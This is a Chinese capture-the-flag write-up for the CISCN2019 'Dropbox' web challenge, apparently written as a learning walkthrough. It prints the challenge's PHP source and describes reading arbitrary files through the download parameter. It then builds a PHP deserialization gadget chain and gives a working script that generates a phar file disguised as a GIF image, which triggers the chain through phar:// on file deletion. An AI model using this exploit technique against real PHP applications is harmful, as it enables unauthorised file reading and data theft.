[CISCN2019 华北赛区 Day1 Web1]Dropbox

先注册登录

登录上来发现有文件上传按钮

随便上传一个txt试一下

只能上传gif/jpg/png，按他的要求上传一个jpg

上传成功后有个下载按钮

抓包看一下

发现filename参数就是我们要下载的文件名

读取download.php,delete.php和class.php

download.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

delete.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

要读取flag的话，需要用到class.php中的File类中的close函数

    public function close() {
        return file_get_contents($this->filename);
    }

再看FileList类中__call魔术方法

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

这个方法主要就是把$file->$func()的结果放入了$this->results里。至于[$file->name()][$func]这些东西不需要管，因为最终FileList类中的__destruct方法会把$result里面的内容给echo出来

        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }

因此我们要想办法让$file=new File(),而$func()是close()。也就是说，使用了FileList类中不存在的方法close()的时候可以把close()给传进去，而$file就是$files里的，而$files是我们可控的

发现

    public function __destruct() {
        $this->db->close();
    }

User类的__destruct方法会调用close()，因此我们让$this->db是new FileList()，这个反序列化的链就构造成功了。

User->destruct()=>FileList->call()=>File->close()=>FileList->__destruct()

payload：

<?php
class User {
    public $db;
    public function __construct(){
        $this->db=new FileList();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;
    public function __construct(){
        $this->files=array(new File());
    }


}

class File {
    public $filename='/flag.txt';
}


@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new User();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

把得到的phar.phar改名为phar.jpg传上去，然后执行删除操作时添加phar://